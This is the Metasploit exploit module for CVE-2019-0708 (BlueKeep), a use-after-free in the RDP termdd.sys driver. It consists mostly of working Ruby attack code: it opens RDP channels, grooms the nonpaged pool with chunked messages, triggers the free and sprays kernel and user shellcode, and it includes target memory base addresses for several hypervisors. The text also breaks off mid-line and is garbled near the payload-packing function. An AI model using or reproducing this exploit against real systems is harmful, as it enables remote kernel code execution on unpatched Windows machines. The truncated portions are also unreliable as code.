## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploitation and Caveats from zerosum0x0: # # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. # 4. RDP has chunked messages, so we use this to groom. # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. # i. RDPSND only works when # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 # ii. This registry key is not a default setting for server 2008 R2. # We should use alternate groom channels or at least detect the # channel in advance. # 5. Use chunked grooming to fit new data in the freed channel, account for # the allocation header size (like 0x38 I think?). At offset 0x100? is where # the "call [rax]" gadget will get its pointer from. # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 # i. Hot-swap memory is another problem because, with certain VMWare and # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP # start. This can be anywhere from 100 mb to gigabytes of offset # before the NPP start. # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an # indirect call # d. We are limited to 0x400 payloads by channel chunk max size. My # current shellcode is a twin shellcode with eggfinders. I spam the # kernel payload and user payload, and if user payload is called first it # will egghunt for the kernel payload. # 6. After channel hole is filled and the NPP is spammed up with shellcode, # trigger the free by closing the socket. # # TODO: # * Detect OS specifics / obtain memory leak to determine NPP start address. # * Write the XP/2003 portions grooming MS_T120. # * Detect if RDPSND grooming is working or not? # * Expand channels besides RDPSND/MS_T120 for grooming. # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ # # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming # MS_T120 on XP... should be same process as the RDPSND class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck Rank = ManualRanking USERMODE_EGG = 0xb00dac0fefe31337 KERNELMODE_EGG = 0xb00dac0fefe42069 CHUNK_SIZE = 0x400 HEADER_SIZE = 0x48 include Msf::Exploit::Remote::RDP include Msf::Exploit::Remote::CheckModule def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'Description' => %q( The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets. Windows 7 SP1 should be exploitable in its default configuration, assuming your target selection is correctly matched to the system's memory layout. HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2. This is a non-standard configuration for normal servers, and the target will crash if the aforementioned Registry key is not set! If the target is crashing regardless, you will likely need to determine the non-paged pool base in kernel memory and set it as the GROOMBASE option. ), 'Author' => [ 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit 'OJ Reeves ', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-0708'], ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html'] ], 'DefaultOptions' => { 'RDP_CLIENT_NAME' => 'ethdev', 'EXITFUNC' => 'thread', 'CheckModule' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep', 'WfsDelay' => 5 }, 'Privileged' => true, 'Payload' => { 'Space' => CHUNK_SIZE - HEADER_SIZE, 'EncoderType' => Msf::Encoder::Type::Raw, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic targeting via fingerprinting', { 'Arch' => [ARCH_X64], 'FingerprintOnly' => true }, ], # # # Windows 2008 R2 requires the following registry change from default: # # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] # "fDisableCam"=dword:00000000 # [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8003800000, 'GROOMSIZE' => 100 } ], [ # This works with Virtualbox 6 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8002407000 } ], [ # This address works on VMWare 14 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8030c00000 } ], [ # This address works on VMWare 15 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018C00000 } ], [ # This address works on VMWare 15.1 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8102407000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8004428000 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2019-05-14', 'Notes' => { 'AKA' => ['Bluekeep'] } )) register_advanced_options( [ OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0]) ] ) end def exploit if target['FingerprintOnly'] fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !') end begin rdp_connect rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end is_rdp, server_selected_proto = rdp_check_protocol unless is_rdp fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us # from exploiting the target. if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') end chans = [ ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ] @mst120_chan_id = 1004 + chans.length - 1 unless rdp_negotiate_security(chans, server_selected_proto) fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') end rdp_establish_session rdp_dispatch_loop end private # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is # received on a channel, and this is when we need to kick off our exploit. def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) # We have to do the default behaviour first. super(pkt, user, chan_id, flags, data) groom_size = datastore['GROOMSIZE'] pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) groom_chan_count = datastore['GROOMCHANNELCOUNT'] payloads = create_payloads(pool_addr) print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") target_channel_id = chan_id + 1 spray_buffer = create_exploit_channel_buffer(pool_addr) spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 # if the exploit is cancelled during the free, target computer will explode print_warning("<---------------- | Entering Danger Zone | ---------------->") print_status("Surfing channels ...") rdp_send(spray_channel * 1024) rdp_send(free_trigger) chan_surf_size = 0x421 spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min chan_surf_packet = spray_channel * spray_packets chan_surf_count = chan_surf_size / spray_packets chan_surf_count.times do rdp_send(chan_surf_packet) end print_status("Lobbing eggs ...") groom_mb = groom_size * 1024 / payloads.length groom_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC) groom_mb.times do |current_groom_count| tpkts = '' for c in 0..groom_chan_count payloads.each do |p| tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) end end rdp_send(tpkts) # tasks we do every 1 MB if current_groom_count % (1024 / payloads.length) == 0 # adding mouse move events keeps the connection alive # (this handles a groom duration > 30 seconds, such as over Internet/VPN) rdp_move_mouse # simulate slow connection if GROOMDELAY is set if datastore['GROOMDELAY'] && datastore['GROOMDELAY'] > 0 sleep(datastore['GROOMDELAY']) end groom_current_time = Process.clock_gettime(Process::CLOCK_MONOTONIC) groom_elapsed_time = groom_current_time - groom_start_time groom_elapsed_str = "%02d:%02d:%02d" % [groom_elapsed_time / 3600, groom_elapsed_time / 60%60, groom_elapsed_time % 60] groom_mb_sent = current_groom_count / (1024 / payloads.length) + 1 vprint_status("Sent #{groom_mb_sent}/#{groom_size} MB. (Time elapsed: #{groom_elapsed_str})") end end # Terminating and disconnecting forces the USE print_status("Forcing the USE of FREE'd object ...") # target is groomed, the early cancellation dangers are complete print_warning("<---------------- | Leaving Danger Zone | ---------------->") rdp_terminate rdp_disconnect end # Helper function to create the kernel mode payload and the usermode payload with # the egg hunter prefix. def create_payloads(pool_address) begin [kernel_mode_payload, user_mode_payload].map { |p| [ pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg p ].pack('Q ex print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") end end def assemble_with_fixups(asm) # Rewrite all instructions of form 'lea reg, [rel label]' as relative # offsets for the instruction pointer, since metasm's 'ModRM' parser does # not grok that syntax. lea_rel = /lea+\s(?\w{2,3}),*\s\[rel+\s(?